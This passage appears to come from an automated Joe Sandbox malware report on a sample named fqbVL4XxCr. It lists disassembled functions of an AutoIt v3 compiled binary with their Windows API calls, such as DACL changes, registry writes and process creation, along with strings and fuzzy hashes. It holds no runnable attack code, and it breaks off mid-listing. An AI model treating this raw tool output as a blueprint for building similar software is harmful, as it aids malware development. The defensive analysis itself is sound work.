                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                • String ID: AutoIt v3 GUI
                                                • API String ID: 1458621304-248962490
                                                • Opcode ID: 7bbded22bd61727add52734f624f894d3673dda93b019995a609ab6062bb5eb1
                                                • Instruction ID: 3443cd03c532f9fa76b91a040ba6ea253a2600bef1b6fc2eae6c8e7fa67b9d59
                                                • Opcode Fuzzy Hash: 7bbded22bd61727add52734f624f894d3673dda93b019995a609ab6062bb5eb1
                                                • Instruction Fuzzy Hash: FEB1AC31A2020A9FDB15DFA9CC49BAE7BB8FB49314F144229FA15E7290DB74E851CF50
                                                Function 002F0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 002F1114
                                                  • Part of subcall function 002F10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1120
                                                  • Part of subcall function 002F10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F112F
                                                  • Part of subcall function 002F10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1136
                                                  • Part of subcall function 002F10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 002F114D
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 002F0DF5
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 002F0E29
                                                • GetLengthSid.ADVAPI32(?), ref: 002F0E40
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 002F0E7A
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 002F0E96
                                                • GetLengthSid.ADVAPI32(?), ref: 002F0EAD
                                                • GetProcessHeap.KERNEL32(00000008,00000008), ref: 002F0EB5
                                                • HeapAlloc.KERNEL32(00000000), ref: 002F0EBC
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 002F0EDD
                                                • CopySid.ADVAPI32(00000000), ref: 002F0EE4
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 002F0F13
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 002F0F35
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 002F0F47
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0F6E
                                                • HeapFree.KERNEL32(00000000), ref: 002F0F75
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0F7E
                                                • HeapFree.KERNEL32(00000000), ref: 002F0F85
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0F8E
                                                • HeapFree.KERNEL32(00000000), ref: 002F0F95
                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 002F0FA1
                                                • HeapFree.KERNEL32(00000000), ref: 002F0FA8
                                                  • Part of subcall function 002F1193: GetProcessHeap.KERNEL32(00000008,002F0BB1,?,00000000,?,002F0BB1,?), ref: 002F11A1
                                                  • Part of subcall function 002F1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,002F0BB1,?), ref: 002F11A8
                                                  • Part of subcall function 002F1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,002F0BB1,?), ref: 002F11B7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                • String ID:
                                                • API String ID: 4175595110-0
                                                • Opcode ID: 428438ae0d4d0478eeea739f256f19d2dc8bad935518a904662ded87784b622e
                                                • Instruction ID: 0b5e7141e4e673b02a0920e437504a2ddd741a3df8762ae0719f2d9a30b5eed0
                                                • Opcode Fuzzy Hash: 428438ae0d4d0478eeea739f256f19d2dc8bad935518a904662ded87784b622e
                                                • Instruction Fuzzy Hash: 4871517191020AEBDB219FA5DC45FBEFBBCBF04340F144229FA15A6251DB719915CB60
                                                Function 0031C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0031C4BD
                                                • RegCreateKeyExW.ADVAPI32(?,?,00000000,0032CC08,00000000,?,00000000,?,?), ref: 0031C544
                                                • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0031C5A4
                                                • _wcslen.LIBCMT ref: 0031C5F4
                                                • _wcslen.LIBCMT ref: 0031C66F
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0031C6B2
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0031C7C1
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0031C84D
                                                • RegCloseKey.ADVAPI32(?), ref: 0031C881
                                                • RegCloseKey.ADVAPI32(00000000), ref: 0031C88E
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0031C960
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                                • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                • API String ID: 9721498-966354055
                                                • Opcode ID: 10ed75e49574364e443df0ff03c13826e46ebf6ae543c60016cf61237ba21359
                                                • Instruction ID: db2ff47741efde009ef42d8f335562327db713080cf9061d2203de9d64256227
                                                • Opcode Fuzzy Hash: 10ed75e49574364e443df0ff03c13826e46ebf6ae543c60016cf61237ba21359
                                                • Instruction Fuzzy Hash: BE127B356282019FDB19DF14C891A6AB7E5FF88714F15885CF88A9B3A2DB31EC51CF81
                                                Function 0032091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 003209C6
                                                • _wcslen.LIBCMT ref: 00320A01
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00320A54
                                                • _wcslen.LIBCMT ref: 00320A8A
                                                • _wcslen.LIBCMT ref: 00320B06
                                                • _wcslen.LIBCMT ref: 00320B81
                                                  • Part of subcall function 002AF9F2: _wcslen.LIBCMT ref: 002AF9FD
                                                  • Part of subcall function 002F2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 002F2BFA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$MessageSend$BuffCharUpper
                                                • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                • API String ID: 1103490817-4258414348
                                                • Opcode ID: 66ff4efc2003b28361383a0473b09704f83109c6bbf8b4b007ab64c4298780b7
                                                • Instruction ID: 13119e012c137856442e840dfa055c35f81a192a142bf9f018e5c99653118ff3
                                                • Opcode Fuzzy Hash: 66ff4efc2003b28361383a0473b09704f83109c6bbf8b4b007ab64c4298780b7
                                                • Instruction Fuzzy Hash: 70E1DD352183218FCB19DF24D49092AB7E2BF98314F52895DF8969B762DB30ED49CF81
                                                Function 0031C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$BuffCharUpper
                                                • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                • API String ID: 1256254125-909552448
                                                • Opcode ID: 91c3eebb914573d7bea84e5891c70e73f13886ff490a1b2657ca4198ebf92b17
                                                • Instruction ID: 469dca3dae7cd7b534845cf5456b4a25be9afb60f3b4ec39298518588e4ed6aa
                                                • Opcode Fuzzy Hash: 91c3eebb914573d7bea84e5891c70e73f13886ff490a1b2657ca4198ebf92b17
                                                • Instruction Fuzzy Hash: 707136326A412A8BCB2BDE6CD9415FF3395AF68750B126128FC5697280E630CDD5C790
                                                Function 0032833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _wcslen.LIBCMT ref: 0032835A
                                                • _wcslen.LIBCMT ref: 0032836E
                                                • _wcslen.LIBCMT ref: 00328391
                                                • _wcslen.LIBCMT ref: 003283B4
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 003283F2
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00325BF2), ref: 0032844E
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00328487
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 003284CA
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00328501
                                                • FreeLibrary.KERNEL32(?), ref: 0032850D
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0032851D
                                                • DestroyIcon.USER32(?,?,?,?,?,00325BF2), ref: 0032852C
                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00328549
                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00328555
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
                                                • String ID: .dll$.exe$.icl
                                                • API String ID: 799131459-1154884017
                                                • Opcode ID: 70724a2432d64c1620275ee5006b33771331d680650d119988b9dd6c0c6dd4fb
                                                • Instruction ID: e4dec572eb1755b7c86f2bdbd156e9956ca6ad0dca733ccb0ba24c936da98cd0
                                                • Opcode Fuzzy Hash: 70724a2432d64c1620275ee5006b33771331d680650d119988b9dd6c0c6dd4fb
                                                • Instruction Fuzzy Hash: 3E61EF71510225BBEB26DF64EC81BFE77ACBF08B11F204609F815D60D1DB74AA90CBA0
                                                Function 00297778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                • API String ID: 0-1645009161
                                                • Opcode ID: 44644cef4ec40073ddf9ce5c6415c7c7a48ce99d8b3af9ef16b3facb19231576
                                                • Instruction ID: 3262ceee0407f91b67167b83ee3ae67e4e1da3c3326948e5a4920baac33b3797
                                                • Opcode Fuzzy Hash: 44644cef4ec40073ddf9ce5c6415c7c7a48ce99d8b3af9ef16b3facb19231576
                                                • Instruction Fuzzy Hash: C381F671674616ABDF25AF60DC42FEE77A9BF15340F004025FC08AA292EBB0D975CA91
                                                Function 002F5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000063), ref: 002F5A2E
                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 002F5A40
                                                • SetWindowTextW.USER32(?,?), ref: 002F5A57
                                                • GetDlgItem.USER32(?,000003EA), ref: 002F5A6C
                                                • SetWindowTextW.USER32(00000000,?), ref: 002F5A72
                                                • GetDlgItem.USER32(?,000003E9), ref: 002F5A82
                                                • SetWindowTextW.USER32(00000000,?), ref: 002F5A88
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 002F5AA9
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 002F5AC3
                                                • GetWindowRect.USER32(?,?), ref: 002F5ACC
                                                • _wcslen.LIBCMT ref: 002F5B33
                                                • SetWindowTextW.USER32(?,?), ref: 002F5B6F
                                                • GetDesktopWindow.USER32 ref: 002F5B75
                                                • GetWindowRect.USER32(00000000), ref: 002F5B7C
                                                • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 002F5BD3
                                                • GetClientRect.USER32(?,?), ref: 002F5BE0
                                                • PostMessageW.USER32(?,00000005,00000000,?), ref: 002F5C05
                                                • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 002F5C2F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                                • String ID:
                                                • API String ID: 895679908-0
                                                • Opcode ID: ce8327dd0b3ae6228e31d4e21eb2753d09a3dcb3f8be8b6b35cd0b825f6a3fb4
                                                • Instruction ID: 2c1e1384658b8205f7fe97d3691d9f664dce0afaaf85a48b98a472ce8d9aff60
                                                • Opcode Fuzzy Hash: ce8327dd0b3ae6228e31d4e21eb2753d09a3dcb3f8be8b6b35cd0b825f6a3fb4
                                                • Instruction Fuzzy Hash: 1E719D31910B1AAFDB21DFA8CE85AAEFBF5FF48744F104528E242A25A0D774E910CF50
                                                Function 002F30F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen
                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[5
                                                • API String ID: 176396367-3062731613
                                                • Opcode ID: 6502921835f628f9bfb357df4bd0a3e78f7cfb30bd2aca04ee624db0a8769d41
                                                • Instruction ID: efea00ff2f5dc3939948857b571588cb15c25716e3290cbf8edc67ad3eabdde6
                                                • Opcode Fuzzy Hash: 6502921835f628f9bfb357df4bd0a3e78f7cfb30bd2aca04ee624db0a8769d41
                                                • Instruction Fuzzy Hash: 6FE1E732A2051B9BCB14DFB4C451AFEFBB0BF44790F544139EA56E7240DB30AEA58B90
                                                Function 002B00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                                Download Yara Rule
                                                APIs
                                                • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 002B00C6
                                                  • Part of subcall function 002B00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0036070C,00000FA0,006FA53A,?,?,?,?,002D23B3,000000FF), ref: 002B011C
                                                  • Part of subcall function 002B00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,002D23B3,000000FF), ref: 002B0127
                                                  • Part of subcall function 002B00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,002D23B3,000000FF), ref: 002B0138
                                                  • Part of subcall function 002B00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 002B014E
                                                  • Part of subcall function 002B00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 002B015C
                                                  • Part of subcall function 002B00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 002B016A
                                                  • Part of subcall function 002B00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 002B0195
                                                  • Part of subcall function 002B00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 002B01A0
                                                • ___scrt_fastfail.LIBCMT ref: 002B00E7
                                                  • Part of subcall function 002B00A3: __onexit.LIBCMT ref: 002B00A9
                                                Strings
                                                • SleepConditionVariableCS, xrefs: 002B0154
                                                • api-ms-win-core-synch-l1-2-0.dll, xrefs: 002B0122
                                                • kernel32.dll, xrefs: 002B0133
                                                • InitializeConditionVariable, xrefs: 002B0148
                                                • WakeAllConditionVariable, xrefs: 002B0162
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                                • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                • API String ID: 66158676-1714406822
                                                • Opcode ID: add3ad1ce41b7d29a1fbd3b365b812acf4cb798a97aced1e41532c3f4a2e034c
                                                • Instruction ID: 8bd9b934ae2398785f256cd85608f35f0bc6452c5339fc796621b736bc6a0ce1
                                                • Opcode Fuzzy Hash: add3ad1ce41b7d29a1fbd3b365b812acf4cb798a97aced1e41532c3f4a2e034c
                                                • Instruction Fuzzy Hash: 8621FC326747116FD7276FA4AD46BAF73A8DB05B91F004539F805A3291DFB49C108E94
                                                Function 003044C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(00000000,00000000,0032CC08), ref: 00304527
                                                • _wcslen.LIBCMT ref: 0030453B
                                                • _wcslen.LIBCMT ref: 00304599
                                                • _wcslen.LIBCMT ref: 003045F4
                                                • _wcslen.LIBCMT ref: 0030463F
                                                • _wcslen.LIBCMT ref: 003046A7
                                                  • Part of subcall function 002AF9F2: _wcslen.LIBCMT ref: 002AF9FD
                                                • GetDriveTypeW.KERNEL32(?,00356BF0,00000061), ref: 00304743
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$BuffCharDriveLowerType
                                                • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                • API String ID: 2055661098-1000479233
                                                • Opcode ID: 378a17f71c7fe3551aa40c2b80d3e842e919fd2a10bfa8a4114ca61150a50dd1
                                                • Instruction ID: 6f3610440aea6327f9869fef67b33a890a543ef24c9c11f7ce2bb89a0e7c55cf
                                                • Opcode Fuzzy Hash: 378a17f71c7fe3551aa40c2b80d3e842e919fd2a10bfa8a4114ca61150a50dd1
                                                • Instruction Fuzzy Hash: 2DB143B16093029FC711DF28C8A0A6EB3E4BFA6720F51491DF696C32D1E731DA44CB92
                                                Function 0032911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • DragQueryPoint.SHELL32(?,?), ref: 00329147
                                                  • Part of subcall function 00327674: ClientToScreen.USER32(?,?), ref: 0032769A
                                                  • Part of subcall function 00327674: GetWindowRect.USER32(?,?), ref: 00327710
                                                  • Part of subcall function 00327674: PtInRect.USER32(?,?,00328B89), ref: 00327720
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 003291B0
                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 003291BB
                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 003291DE
                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00329225
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 0032923E
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00329255
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00329277
                                                • DragFinish.SHELL32(?), ref: 0032927E
                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00329371
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#6
                                                • API String ID: 221274066-3220421060
                                                • Opcode ID: f43e435afc8f083b5cd2e30c714744fee705ee65de963d46305eed6abad28bb6
                                                • Instruction ID: ac733c4edf2a34168c6cfd3c472744091bfabf3255ebd023702d1d6f1ffdaff0
                                                • Opcode Fuzzy Hash: f43e435afc8f083b5cd2e30c714744fee705ee65de963d46305eed6abad28bb6
                                                • Instruction Fuzzy Hash: F1617971118301AFC702EF64DC85EAFBBE8FF88750F40091EF595921A0DB309A59CBA2
                                                Function 0031AFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _wcslen.LIBCMT ref: 0031B198
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0031B1B0
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0031B1D4
                                                • _wcslen.LIBCMT ref: 0031B200
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0031B214
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0031B236
                                                • _wcslen.LIBCMT ref: 0031B332
                                                  • Part of subcall function 003005A7: GetStdHandle.KERNEL32(000000F6), ref: 003005C6
                                                • _wcslen.LIBCMT ref: 0031B34B
                                                • _wcslen.LIBCMT ref: 0031B366
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0031B3B6
                                                • GetLastError.KERNEL32(00000000), ref: 0031B407
